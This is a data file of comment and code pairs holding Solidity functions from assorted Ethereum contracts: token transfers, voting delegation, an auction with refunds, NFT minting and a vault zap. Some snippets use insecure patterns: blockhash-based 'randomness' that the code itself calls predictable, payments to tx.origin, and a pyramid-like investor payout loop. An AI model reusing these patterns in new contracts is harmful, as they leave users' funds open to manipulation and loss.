desired) public view returns(uint256) {\n // read operator's permissions\n uint256 p = userRoles[operator];\n\n // taking into account operator's permissions,\n // 1) enable the permissions desired on the `target`\n target |= p & desired;\n // 2) disable the permissions desired on the `target`\n target &= FULL_PRIVILEGES_MASK ^ (p & (FULL_PRIVILEGES_MASK ^ desired));\n\n // return calculated result\n return target;\n }", "version": "0.8.4"} {"comment": "// for swap form", "function_code": "function GetCurrentPriceForETH() public view returns (uint256) {\r\n uint256 tokens;\r\n int ethusd;\r\n uint256 ethprice;\r\n \r\n ethusd = getLatestPrice();\r\n ethprice = uint256(ethusd) / priceZero;\r\n \r\n if (now <= bonusEnds) {tokens = ethprice / 25 * 10;} // PHASE 1: 1ADR = 2.5$\r\n else if (now > bonusEnds && now < bonusEnds1) {tokens = ethprice / 27 * 10;} // PHASE 2: 1ADR = 2.7$\r\n else if (now > bonusEnds1 && now < bonusEnds2) {tokens = ethprice / 3;} // PHASE 3: 1ADR = 3$\r\n else if (now > bonusEnds2 && now < bonusEnds3) {tokens = ethprice / 33 * 10;} // PHASE 4: 1ADR = 3.3$\r\n return tokens;\r\n }", "version": "0.6.12"} {"comment": "// for swap form (/10)", "function_code": "function GetCurrentPrice() public view returns (uint256) {\r\n uint256 tokens;\r\n \r\n if (now <= bonusEnds) {tokens = 25;} // PHASE 1: 1ADR = 2.5$\r\n else if (now > bonusEnds && now < bonusEnds1) {tokens = 27;} // PHASE 2: 1ADR = 2.7$\r\n else if (now > bonusEnds1 && now < bonusEnds2) {tokens = 30;} // PHASE 3: 1ADR = 3$\r\n else if (now > bonusEnds2 && now < bonusEnds3) {tokens = 33;} // PHASE 4: 1ADR = 3.3$\r\n return tokens;\r\n }", "version": "0.6.12"} {"comment": "// Only Dev. Pre-sale info.", "function_code": "function PreSale(uint _bonusEnds, uint _bonusEnds1, uint _bonusEnds2, uint _bonusEnds3, uint _endDate, uint _priceZero) public {\r\n require(msg.sender == devaddr, \"dev: wtf?\");\r\n bonusEnds = _bonusEnds;\r\n bonusEnds1 = _bonusEnds1;\r\n bonusEnds2 = _bonusEnds2;\r\n bonusEnds3 = _bonusEnds3;\r\n endDate = _endDate;\r\n priceZero = _priceZero;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev XRT emission value for utilized gas\r\n */", "function_code": "function wnFromGas(uint256 _gas) view returns (uint256) {\r\n // Just return wn=gas when auction isn't finish\r\n if (auction.finalPrice() == 0)\r\n return _gas;\r\n\r\n // Current gas utilization epoch\r\n uint256 epoch = totalGasUtilizing / gasEpoch;\r\n\r\n // XRT emission with addition coefficient by gas utilzation epoch\r\n uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice();\r\n\r\n // Check to not permit emission decrease below wn=gas\r\n return wn < _gas ? _gas : wn;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Create robot liability smart contract\r\n * @param _demand ABI-encoded demand message \r\n * @param _offer ABI-encoded offer message \r\n */", "function_code": "function createLiability(\r\n bytes _demand,\r\n bytes _offer\r\n )\r\n external \r\n onlyLighthouse\r\n gasPriceEstimated\r\n returns (RobotLiability liability) { // Store in memory available gas\r\n uint256 gasinit = gasleft();\r\n\r\n // Create liability\r\n liability = new RobotLiability(robotLiabilityLib);\r\n emit NewLiability(liability);\r\n\r\n // Parse messages\r\n require(liability.call(abi.encodePacked(bytes4(0xd9ff764a), _demand))); // liability.demand(...)\r\n singletonHash(liability.demandHash());\r\n\r\n require(liability.call(abi.encodePacked(bytes4(0xd5056962), _offer))); // liability.offer(...)\r\n singletonHash(liability.offerHash());\r\n\r\n // Transfer lighthouse fee to lighthouse worker directly\r\n if (liability.lighthouseFee() > 0)\r\n xrt.safeTransferFrom(liability.promisor(),\r\n tx.origin,\r\n liability.lighthouseFee());\r\n\r\n // Transfer liability security and hold on contract\r\n ERC20 token = liability.token();\r\n if (liability.cost() > 0)\r\n token.safeTransferFrom(liability.promisee(),\r\n liability,\r\n liability.cost());\r\n\r\n // Transfer validator fee and hold on contract\r\n if (address(liability.validator()) != 0 && liability.validatorFee() > 0)\r\n xrt.safeTransferFrom(liability.promisee(),\r\n liability,\r\n liability.validatorFee());\r\n\r\n // Accounting gas usage of transaction\r\n uint256 gas = gasinit - gasleft() + 110525; // Including observation error\r\n totalGasUtilizing += gas;\r\n gasUtilizing[liability] += gas;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Create lighthouse smart contract\r\n * @param _minimalFreeze Minimal freeze value of XRT token\r\n * @param _timeoutBlocks Max time of lighthouse silence in blocks\r\n * @param _name Lighthouse subdomain,\r\n * example: for 'my-name' will created 'my-name.lighthouse.1.robonomics.eth' domain\r\n */", "function_code": "function createLighthouse(\r\n uint256 _minimalFreeze,\r\n uint256 _timeoutBlocks,\r\n string _name\r\n )\r\n external\r\n returns (address lighthouse)\r\n {\r\n bytes32 lighthouseNode\r\n // lighthouse.3.robonomics.eth\r\n = 0x87bd923a85f096b00a4a347fb56cef68e95319b3d9dae1dff59259db094afd02;\r\n\r\n // Name reservation check\r\n bytes32 subnode = keccak256(abi.encodePacked(lighthouseNode, keccak256(_name)));\r\n require(ens.resolver(subnode) == 0);\r\n\r\n // Create lighthouse\r\n lighthouse = new Lighthouse(lighthouseLib, _minimalFreeze, _timeoutBlocks);\r\n emit NewLighthouse(lighthouse, _name);\r\n isLighthouse[lighthouse] = true;\r\n\r\n // Register subnode\r\n ens.setSubnodeOwner(lighthouseNode, keccak256(_name), this);\r\n\r\n // Register lighthouse address\r\n PublicResolver resolver = PublicResolver(ens.resolver(lighthouseNode));\r\n ens.setResolver(subnode, resolver);\r\n resolver.setAddr(subnode, lighthouse);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Is called whan after liability finalization\r\n * @param _gas Liability finalization gas expenses\r\n */", "function_code": "function liabilityFinalized(\r\n uint256 _gas\r\n )\r\n external\r\n gasPriceEstimated\r\n returns (bool)\r\n {\r\n require(gasUtilizing[msg.sender] > 0);\r\n\r\n uint256 gas = _gas - gasleft();\r\n require(_gas > gas);\r\n\r\n totalGasUtilizing += gas;\r\n gasUtilizing[msg.sender] += gas;\r\n\r\n require(xrt.mint(tx.origin, wnFromGas(gasUtilizing[msg.sender])));\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Deploys a contract using `CREATE2`. The address where the contract\r\n * will be deployed can be known in advance via {computeAddress}. Note that\r\n * a contract cannot be deployed twice using the same salt.\r\n */", "function_code": "function deploy(bytes32 salt, bytes memory bytecode) internal returns (address) {\r\n address addr;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly {\r\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\r\n }\r\n require(addr != address(0), \"Create2: Failed on deploy\");\r\n return addr;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Tokens transfer will not work if sender or recipient has dividends\r\n */", "function_code": "function _transfer(address _from, address _to, uint256 _value) internal {\r\n require(_to != address(0));\r\n require(_value <= accounts[_from].balance);\r\n require(accounts[_to].balance + _value >= accounts[_to].balance);\r\n \r\n uint256 fromOwing = dividendBalanceOf(_from);\r\n uint256 toOwing = dividendBalanceOf(_to);\r\n require(fromOwing <= 0 && toOwing <= 0);\r\n \r\n accounts[_from].balance = accounts[_from].balance.sub(_value);\r\n accounts[_to].balance = accounts[_to].balance.add(_value);\r\n \r\n accounts[_to].lastDividends = accounts[_from].lastDividends;\r\n \r\n emit Transfer(_from, _to, _value);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Get All Official Vaults List", "function_code": "function getAllVaultAddress() external view returns(address[] memory workingVaults) {\n address[] memory vaults = vaultLists;\n uint256 length = vaults.length;\n bool[] memory status = new bool[](length);\n // get abandon Vaults status\n uint256 workNumber;\n for (uint256 i; i < length; i++) {\n if (vaultStatus[vaults[i]] == Status.working) {\n status[i] = true;\n workNumber++;\n }\n }\n if(workNumber > 0){\n // get working vaults list\n workingVaults = new address[](workNumber);\n uint256 idx;\n for (uint256 i; i < length; i++) {\n if (status[i]) {\n workingVaults[idx] = vaults[i];\n idx += 1;\n }\n }\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Transfers some tokens on behalf of address `_from' (token owner)\n * to some other address `_to`\n *\n * @dev ERC20 `function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)`\n *\n * @dev Called by token owner on his own or approved address,\n * an address approved earlier by token owner to\n * transfer some amount of tokens on its behalf\n * @dev Throws on any error like\n * * insufficient token balance or\n * * incorrect `_to` address:\n * * zero address or\n * * same as `_from` address (self transfer)\n * * smart contract which doesn't support ERC20\n *\n * @param _from token owner which approved caller (transaction sender)\n * to transfer `_value` of tokens on its behalf\n * @param _to an address to transfer tokens to,\n * must be either an external address or a smart contract,\n * compliant with the ERC20 standard\n * @param _value amount of tokens to be transferred, must\n * be greater than zero\n * @return success true on success, throws otherwise\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\n // depending on `FEATURE_UNSAFE_TRANSFERS` we execute either safe (default)\n // or unsafe transfer\n // if `FEATURE_UNSAFE_TRANSFERS` is enabled\n // or receiver has `ROLE_ERC20_RECEIVER` permission\n // or sender has `ROLE_ERC20_SENDER` permission\n if(isFeatureEnabled(FEATURE_UNSAFE_TRANSFERS)\n || isOperatorInRole(_to, ROLE_ERC20_RECEIVER)\n || isSenderInRole(ROLE_ERC20_SENDER)) {\n // we execute unsafe transfer - delegate call to `unsafeTransferFrom`,\n // `FEATURE_TRANSFERS` is verified inside it\n unsafeTransferFrom(_from, _to, _value);\n }\n // otherwise - if `FEATURE_UNSAFE_TRANSFERS` is disabled\n // and receiver doesn't have `ROLE_ERC20_RECEIVER` permission\n else {\n // we execute safe transfer - delegate call to `safeTransferFrom`, passing empty `_data`,\n // `FEATURE_TRANSFERS` is verified inside it\n safeTransferFrom(_from, _to, _value, \"\");\n }\n\n // both `unsafeTransferFrom` and `safeTransferFrom` throw on any error, so\n // if we're here - it means operation successful,\n // just return true\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Transfers some tokens on behalf of address `_from' (token owner)\n * to some other address `_to`\n *\n * @dev Inspired by ERC721 safeTransferFrom, this function allows to\n * send arbitrary data to the receiver on successful token transfer\n * @dev Called by token owner on his own or approved address,\n * an address approved earlier by token owner to\n * transfer some amount of tokens on its behalf\n * @dev Throws on any error like\n * * insufficient token balance or\n * * incorrect `_to` address:\n * * zero address or\n * * same as `_from` address (self transfer)\n * * smart contract which doesn't support ERC20Receiver interface\n * @dev Returns silently on success, throws otherwise\n *\n * @param _from token owner which approved caller (transaction sender)\n * to transfer `_value` of tokens on its behalf\n * @param _to an address to transfer tokens to,\n * must be either an external address or a smart contract,\n * compliant with the ERC20 standard\n * @param _value amount of tokens to be transferred, must\n * be greater than zero\n * @param _data [optional] additional data with no specified format,\n * sent in onERC20Received call to `_to` in case if its a smart contract\n */", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _value, bytes memory _data) public {\n // first delegate call to `unsafeTransferFrom`\n // to perform the unsafe token(s) transfer\n unsafeTransferFrom(_from, _to, _value);\n\n // after the successful transfer - check if receiver supports\n // ERC20Receiver and execute a callback handler `onERC20Received`,\n // reverting whole transaction on any error:\n // check if receiver `_to` supports ERC20Receiver interface\n if(AddressUtils.isContract(_to)) {\n // if `_to` is a contract - execute onERC20Received\n bytes4 response = ERC20Receiver(_to).onERC20Received(msg.sender, _from, _value, _data);\n\n // expected response is ERC20_RECEIVED\n require(response == ERC20_RECEIVED, \"invalid onERC20Received response\");\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Approves address called `_spender` to transfer some amount\n * of tokens on behalf of the owner\n *\n * @dev ERC20 `function approve(address _spender, uint256 _value) public returns (bool success)`\n *\n * @dev Caller must not necessarily own any tokens to grant the permission\n *\n * @param _spender an address approved by the caller (token owner)\n * to spend some tokens on its behalf\n * @param _value an amount of tokens spender `_spender` is allowed to\n * transfer on behalf of the token owner\n * @return success true on success, throws otherwise\n */", "function_code": "function approve(address _spender, uint256 _value) public returns (bool success) {\n // non-zero spender address check - Zeppelin\n // obviously, zero spender address is a client mistake\n // it's not part of ERC20 standard but it's reasonable to fail fast\n require(_spender != address(0), \"ERC20: approve to the zero address\"); // Zeppelin msg\n\n // read old approval value to emmit an improved event (ISBN:978-1-7281-3027-9)\n uint256 _oldValue = transferAllowances[msg.sender][_spender];\n\n // perform an operation: write value requested into the storage\n transferAllowances[msg.sender][_spender] = _value;\n\n // emit an improved atomic approve event (ISBN:978-1-7281-3027-9)\n emit Approved(msg.sender, _spender, _oldValue, _value);\n\n // emit an ERC20 approval event\n emit Approval(msg.sender, _spender, _value);\n\n // operation successful, return true\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Increases the allowance granted to `spender` by the transaction sender\n *\n * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (ISBN:978-1-7281-3027-9)\n *\n * @dev Throws if value to increase by is zero or too big and causes arithmetic overflow\n *\n * @param _spender an address approved by the caller (token owner)\n * to spend some tokens on its behalf\n * @param _value an amount of tokens to increase by\n * @return success true on success, throws otherwise\n */", "function_code": "function increaseAllowance(address _spender, uint256 _value) public virtual returns (bool) {\n // read current allowance value\n uint256 currentVal = transferAllowances[msg.sender][_spender];\n\n // non-zero _value and arithmetic overflow check on the allowance\n require(currentVal + _value > currentVal, \"zero value approval increase or arithmetic overflow\");\n\n // delegate call to `approve` with the new value\n return approve(_spender, currentVal + _value);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Decreases the allowance granted to `spender` by the caller.\n *\n * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (ISBN:978-1-7281-3027-9)\n *\n * @dev Throws if value to decrease by is zero or is bigger than currently allowed value\n *\n * @param _spender an address approved by the caller (token owner)\n * to spend some tokens on its behalf\n * @param _value an amount of tokens to decrease by\n * @return success true on success, throws otherwise\n */", "function_code": "function decreaseAllowance(address _spender, uint256 _value) public virtual returns (bool) {\n // read current allowance value\n uint256 currentVal = transferAllowances[msg.sender][_spender];\n\n // non-zero _value check on the allowance\n require(_value > 0, \"zero value approval decrease\");\n\n // verify allowance decrease doesn't underflow\n require(currentVal >= _value, \"ERC20: decreased allowance below zero\");\n\n // delegate call to `approve` with the new value\n return approve(_spender, currentVal - _value);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Gets current voting power of the account `_of`\n * @param _of the address of account to get voting power of\n * @return current cumulative voting power of the account,\n * sum of token balances of all its voting delegators\n */", "function_code": "function getVotingPower(address _of) public view returns (uint256) {\n // get a link to an array of voting power history records for an address specified\n VotingPowerRecord[] storage history = votingPowerHistory[_of];\n\n // lookup the history and return latest element\n return history.length == 0? 0: history[history.length - 1].votingPower;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Auxiliary function to delegate delegator's `_from` voting power to the delegate `_to`\n * @dev Writes to `votingDelegates` and `votingPowerHistory` mappings\n *\n * @param _from delegator who delegates his voting power\n * @param _to delegate who receives the voting power\n */", "function_code": "function __delegate(address _from, address _to) private {\n // read current delegate to be replaced by a new one\n address _fromDelegate = votingDelegates[_from];\n\n // read current voting power (it is equal to token balance)\n uint256 _value = tokenBalances[_from];\n\n // reassign voting delegate to `_to`\n votingDelegates[_from] = _to;\n\n // update voting power for `_fromDelegate` and `_to`\n __moveVotingPower(_fromDelegate, _to, _value);\n\n // emit an event\n emit DelegateChanged(_from, _fromDelegate, _to);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Auxiliary function to update voting power of the delegate `_of`\n * from value `_fromVal` to value `_toVal`\n *\n * @param _of delegate to update its voting power\n * @param _fromVal old voting power of the delegate\n * @param _toVal new voting power of the delegate\n */", "function_code": "function __updateVotingPower(address _of, uint256 _fromVal, uint256 _toVal) private {\n // get a link to an array of voting power history records for an address specified\n VotingPowerRecord[] storage history = votingPowerHistory[_of];\n\n // if there is an existing voting power value stored for current block\n if(history.length != 0 && history[history.length - 1].blockNumber == block.number) {\n // update voting power which is already stored in the current block\n history[history.length - 1].votingPower = uint192(_toVal);\n }\n // otherwise - if there is no value stored for current block\n else {\n // add new element into array representing the value for current block\n history.push(VotingPowerRecord(uint64(block.number), uint192(_toVal)));\n }\n\n // emit an event\n emit VotingPowerChanged(_of, _fromVal, _toVal);\n }", "version": "0.8.4"} {"comment": "//Anyone can pay the gas to create their very own Tester token", "function_code": "function create() public returns (uint256 _tokenId) {\r\n\r\n bytes32 sudoRandomButTotallyPredictable = keccak256(abi.encodePacked(totalSupply(),blockhash(block.number - 1)));\r\n uint8 body = (uint8(sudoRandomButTotallyPredictable[0])%5)+1;\r\n uint8 feet = (uint8(sudoRandomButTotallyPredictable[1])%5)+1;\r\n uint8 head = (uint8(sudoRandomButTotallyPredictable[2])%5)+1;\r\n uint8 mouth = (uint8(sudoRandomButTotallyPredictable[3])%5)+1;\r\n uint8 extra = (uint8(sudoRandomButTotallyPredictable[4])%5)+1;\r\n\r\n //this is about half of all the gas it takes because I'm doing some string manipulation\r\n //I could skip this, or make it way more efficient but the is just a silly hackathon project\r\n string memory tokenUri = createTokenUri(body,feet,head,mouth,extra);\r\n\r\n Token memory _newToken = Token({\r\n body: body,\r\n feet: feet,\r\n head: head,\r\n mouth: mouth,\r\n extra: extra,\r\n birthBlock: uint64(block.number)\r\n });\r\n _tokenId = tokens.push(_newToken) - 1;\r\n _mint(msg.sender,_tokenId);\r\n _setTokenURI(_tokenId, tokenUri);\r\n emit Create(_tokenId,msg.sender,body,feet,head,mouth,extra,_newToken.birthBlock,tokenUri);\r\n return _tokenId;\r\n }", "version": "0.4.24"} {"comment": "// --- 'require' functions ---", "function_code": "function _requireValidRecipient(address _recipient) internal view {\n require(\n _recipient != address(0) && \n _recipient != address(this),\n \"LQTY: Cannot transfer tokens directly to the LQTY token contract or the zero address\"\n );\n // require(\n // _recipient != communityIssuanceAddress &&\n // _recipient != lqtyStakingAddress,\n // \"LQTY: Cannot transfer tokens directly to the community issuance or staking contract\"\n // );\n }", "version": "0.6.11"} {"comment": "/** requires an encrypted bidToken (generated on marsmaiers.com)\n \n ======================================\n == DO NOT CALL THIS METHOD DIRECTLY ==\n ======================================\n \n if you call this method directly (through etherscan or by hand), your bid\n will NOT be counted. your funds will be unrefundable, and you will have to\n wait for the project to be concluded, once refund() is available\n \n ======================================\n == ==\n == ONLY BID ON MARSMAIERS.COM ==\n == ==\n ======================================\n **/", "function_code": "function bid(string calldata bidToken) public payable {\n // validate input\n bytes memory bidTokenCheck = bytes(bidToken);\n require(bidTokenCheck.length > 0, 'invalid input');\n\n // ensure project is still ongoing\n require(!projectConcluded, 'project has concluded');\n\n // ensure bid meets min\n require(msg.value >= MIN_BID, 'below min bid');\n\n // if bidToken is already set, ensure _msgSender is the original bidder\n require(bidders[bidToken] == address(0x0) || bidders[bidToken] == _msgSender(), 'not your bid');\n\n // increment bidToken to new cumulative total\n bids[bidToken] = bids[bidToken] + msg.value;\n\n // mark _msgSender as bidder\n bidders[bidToken] = _msgSender();\n\n // emit event\n emit BidPlaced(bidToken, msg.sender, msg.value, bids[bidToken]);\n }", "version": "0.8.9"} {"comment": "/// @notice chooses a winner, and moves value ofbidToken to winnings\n/// @param tokenId day of year to mint\n/// @param bidToken winning bid token", "function_code": "function settle(uint256 tokenId, string memory bidToken) public onlyRole(SETTLER_ROLE) {\n // validate input\n bytes memory bidTokenCheck = bytes(bidToken);\n require(tokenId >= 1 && tokenId <= 365 && bidTokenCheck.length > 0, 'invalid input');\n\n // no more winners allowed\n require(!projectConcluded, 'project has concluded');\n\n // look up bid total and winner by bidToken\n address winner = bidders[bidToken];\n uint256 amount = bids[bidToken];\n\n // ensure bidToken is not zero\n require(winner != address(0x0) && amount > 0, 'unknown bidToken');\n\n // zero bid\n bids[bidToken] = 0;\n\n // add amount to winnings\n winnings = winnings + amount;\n\n // close it up after final mint\n if (tokenId == 365) {\n projectConcluded = true;\n }\n\n // mint NFT to winner\n _safeMint(winner, tokenId);\n }", "version": "0.8.9"} {"comment": "/// @notice allows owner to cash out, from the designated winnings only\n/// @param amount value in wei to transfer\n/// @param to address to transfer funds to", "function_code": "function withdraw(uint256 amount, address to) external onlyRole(MANAGER_ROLE) {\n require(amount > 0, 'invalid input');\n require(amount <= winnings, 'amount exceeds winnings');\n\n // subtract amount\n winnings = winnings - amount;\n\n // send funds to destination\n payable(to).sendValue(amount);\n }", "version": "0.8.9"} {"comment": "/// @notice transfers funds for a lost bid back to original bidder. requires a signed signature generated on marsmaiers.com\n/// @param bidToken bid token representing the lost bid you are refunding\n/// @param nonce nonce string, generated along with signature\n/// @param signature signature containing bidToken and nonce. generated on marsmaiers.com", "function_code": "function signedRefund(\n string memory bidToken,\n string memory nonce,\n bytes memory signature\n ) public nonReentrant {\n // infer message by hashing input params. signature must contain a hash with the same message\n bytes32 message = keccak256(abi.encode(bidToken, nonce));\n\n // validate inferred message matches input params, and was signed by an address with RECEIPT_SIGNER_ROLE\n // if this passes we can trust the input params match\n require(hasRole(RECEIPT_SIGNER_ROLE, message.toEthSignedMessageHash().recover(signature)), 'invalid receipt');\n\n // execute refund\n _refund(bidToken);\n }", "version": "0.8.9"} {"comment": "/// @notice generic mechanism to return the value of a list of bidTokens to their original bidder. only enabled once project has concluded.\n/// @param bidTokens array of bid tokens to refund", "function_code": "function refund(string[] memory bidTokens) public nonReentrant {\n // only allow unsigned refunds once project is concluded\n require(projectConcluded, 'project has not concluded');\n\n // execute refund for each bidToken\n for (uint256 i = 0; i < bidTokens.length; i++) {\n _refund(bidTokens[i]);\n }\n }", "version": "0.8.9"} {"comment": "/// allows *anyone* to mark the project as concluded, if the entire year has elapsed.\n/// this should normally never be needed, as minting the final piece also marks\n/// the project as concluded. in the unlikely event the final piece is never minted,\n/// this gives the community a way to release all pending bids.", "function_code": "function concludeProject() public {\n // require block time to be after January 2, 2023 1:00:00 AM GMT (one day of buffer)\n require(block.timestamp > 1672621200, 'year is not over');\n\n // mark project as concluded\n projectConcluded = true;\n }", "version": "0.8.9"} {"comment": "// === PRIVATE ===\n// internal method to validate and process return a bid, using bidder and amount keyed to bidToken", "function_code": "function _refund(string memory bidToken) private {\n // ensure bidToken exists with a balance, and was placed by _msgSender\n require(bids[bidToken] > 0, 'bid does not exist');\n\n // stash and zero bid\n uint256 amount = bids[bidToken];\n bids[bidToken] = 0;\n\n // don't zero bidder (prevents future reuse of bidToken)\n address bidder = bidders[bidToken];\n\n // emit event\n emit Refunded(bidToken, bidder, amount);\n\n // issue refund to bidder\n payable(bidder).sendValue(amount);\n }", "version": "0.8.9"} {"comment": "/**\r\n @notice This function adds liquidity to a Yearn vaults with ETH or ERC20 tokens\r\n @param fromToken The token used for entry (address(0) if ether)\r\n @param amountIn The amount of fromToken to invest\r\n @param toVault Yearn vault address\r\n @param superVault Super vault to depoist toVault tokens into (address(0) if none)\r\n @param isAaveUnderlying True if vault contains aave token\r\n @param minYVTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise\r\n @param intermediateToken Token to swap fromToken to before entering vault\r\n @param swapTarget Excecution target for the swap or Zap\r\n @param swapData DEX quote or Zap data\r\n @param affiliate Affiliate address\r\n @return tokensReceived- Quantity of Vault tokens received\r\n */", "function_code": "function ZapIn(\r\n address fromToken,\r\n uint256 amountIn,\r\n address toVault,\r\n address superVault,\r\n bool isAaveUnderlying,\r\n uint256 minYVTokens,\r\n address intermediateToken,\r\n address swapTarget,\r\n bytes calldata swapData,\r\n address affiliate\r\n ) external payable stopInEmergency returns (uint256 tokensReceived) {\r\n require(\r\n approvedTargets[swapTarget] || swapTarget == address(0),\r\n \"Target not Authorized\"\r\n );\r\n\r\n // get incoming tokens\r\n uint256 toInvest = _pullTokens(fromToken, amountIn, affiliate, true);\r\n\r\n // get intermediate token\r\n uint256 intermediateAmt =\r\n _fillQuote(\r\n fromToken,\r\n intermediateToken,\r\n toInvest,\r\n swapTarget,\r\n swapData\r\n );\r\n\r\n // get 'aIntermediateToken'\r\n if (isAaveUnderlying) {\r\n address aaveLendingPoolCore =\r\n lendingPoolAddressProvider.getLendingPoolCore();\r\n _approveToken(intermediateToken, aaveLendingPoolCore);\r\n\r\n IAaveLendingPool(lendingPoolAddressProvider.getLendingPool())\r\n .deposit(intermediateToken, intermediateAmt, 0);\r\n\r\n intermediateToken = IAaveLendingPoolCore(aaveLendingPoolCore)\r\n .getReserveATokenAddress(intermediateToken);\r\n }\r\n\r\n return\r\n _zapIn(\r\n toVault,\r\n superVault,\r\n minYVTokens,\r\n intermediateToken,\r\n intermediateAmt\r\n );\r\n }", "version": "0.5.17"} {"comment": "/* checks if it's time to make payouts. if so, send the ether */", "function_code": "function performPayouts()\r\n\t{\r\n\t\tuint paidPeriods = 0;\r\n\t\tuint investorsPayout;\r\n\t\tuint beneficiariesPayout = 0;\r\n\r\n\t\twhile(m_latestPaidTime + PAYOUT_INTERVAL < now)\r\n\t\t{\t\t\t\t\t\t\r\n\t\t\tuint idx;\r\n\r\n\t\t\t/* pay the beneficiaries */\t\t\r\n\t\t\tif(m_beneficiaries.length > 0) \r\n\t\t\t{\r\n\t\t\t\tbeneficiariesPayout = (this.balance * BENEFICIARIES_INTEREST) / INTEREST_DENOMINATOR;\r\n\t\t\t\tuint eachBeneficiaryPayout = beneficiariesPayout / m_beneficiaries.length; \r\n\t\t\t\tfor(idx = 0; idx < m_beneficiaries.length; idx++)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(!m_beneficiaries[idx].send(eachBeneficiaryPayout))\r\n\t\t\t\t\t\tthrow;\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* pay the investors */\r\n\t\t\t/* we use reverse iteration here */\r\n\t\t\tfor (idx = m_investors.length; idx-- > 0; )\r\n\t\t\t{\r\n\t\t\t\tif(m_investors[idx].investmentTime > m_latestPaidTime + PAYOUT_INTERVAL)\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\tuint payout = (m_investors[idx].deposit * INVESTORS_INTEREST) / INTEREST_DENOMINATOR;\r\n\t\t\t\tif(!m_investors[idx].etherAddress.send(payout))\r\n\t\t\t\t\tthrow;\r\n\t\t\t\tinvestorsPayout += payout;\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t/* save the latest paid time */\r\n\t\t\tm_latestPaidTime += PAYOUT_INTERVAL;\r\n\t\t\tpaidPeriods++;\r\n\t\t}\r\n\t\t\t\r\n\t\t/* emit the Payout event */\r\n\t\tPayout(paidPeriods, investorsPayout, beneficiariesPayout);\r\n\t}", "version": "0.4.8"} {"comment": "/// @notice Moves all tokens to a new reserve contract", "function_code": "function migrateReserves(\r\n address newReserve,\r\n address[] memory tokens\r\n )\r\n public\r\n onlyGov\r\n {\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n IERC20 token = IERC20(tokens[i]);\r\n uint256 bal = token.balanceOf(address(this));\r\n SafeERC20.safeTransfer(token, newReserve, bal);\r\n }\r\n }", "version": "0.5.17"} {"comment": "/// @notice Prizes mints by owner", "function_code": "function mintPrizes(uint amount) public onlyOwner {\n uint currentTotalSupply = totalSupply();\n\n /// @notice Prize mints must mint first, and cannot be minted after the maximum has been reached\n require(currentTotalSupply < MAX_PRIZE_MINTS, \"DeadFellazToken: Max prize mint limit reached\");\n\n if (currentTotalSupply + amount > MAX_PRIZE_MINTS){\n amount = MAX_PRIZE_MINTS - currentTotalSupply;\n }\n\n _mintAmountTo(msg.sender, amount, currentTotalSupply);\n\n }", "version": "0.8.6"} {"comment": "/// @notice Public mints", "function_code": "function mint(uint amount) public payable {\n uint currentTotalSupply = totalSupply();\n\n /// @notice public can mint only when the maximum prize mints have been minted\n require(currentTotalSupply >= MAX_PRIZE_MINTS, \"DeadFellazToken: Not yet launched\");\n\n /// @notice Cannot exceed maximum supply\n require(currentTotalSupply+amount <= MAX_SUPPLY, \"DeadFellazToken: Not enough mints remaining\");\n\n /// @notice public can mint mint a maximum quantity at a time.\n require(amount <= MAX_MINT_AMOUNT, 'DeadFellazToken: mint amount exceeds maximum');\n\n\n /// @notice public must send in correct funds\n require(msg.value > 0 && msg.value == amount * PRICE, \"DeadFellazToken: Not enough value sent\");\n\n _mintAmountTo(msg.sender, amount, currentTotalSupply);\n }", "version": "0.8.6"} {"comment": "// Set the MetaPunk2018 contracts' Punk Address to address(this)\n// Set the v1 Wrapped Punk Address\n// Set the v2 CryptoPunk Address", "function_code": "function setup(\n uint256 _mintFee,\n uint256 _whiteListMintFee,\n uint256 _whiteListMintLimit,\n string memory _baseUri,\n IMetaPunk2018 _metaPunk,\n address payable _vault,\n IDAOTOKEN _DAOToken,\n address _pridePunkTreasury\n ) public onlyOwner {\n metaPunk = _metaPunk;\n mintFee = _mintFee;\n whiteListMintFee = _whiteListMintFee;\n whiteListMintLimit = _whiteListMintLimit;\n baseUri = _baseUri;\n vault = _vault;\n DAOToken = _DAOToken;\n metaPunk.Existing(address(this));\n pridePunkTreasury = _pridePunkTreasury;\n\n // Set Token ID to the next in line.\n // Two were minted in 2018, the rest were minted by early participaents\n tokenId = metaPunk.totalSupply() - 2;\n\n emit FeeUpdated(mintFee);\n }", "version": "0.8.9"} {"comment": "// Mint new Token", "function_code": "function mint(uint256 _requstedAmount) public payable nonReentrant whenNotPaused whileTokensRemain {\n require(_requstedAmount < 10000, \"err: requested amount too high\");\n require(msg.value >= _requstedAmount * mintFee, \"err: not enough funds sent\");\n\n // send msg.value to vault\n vault.sendValue(msg.value);\n\n for (uint256 x = 0; x < _requstedAmount; x++) {\n _mint(msg.sender);\n }\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Add vesting lock, only locker can add\r\n * @param account vesting lock account.\r\n * @param amount vesting lock amount.\r\n * @param 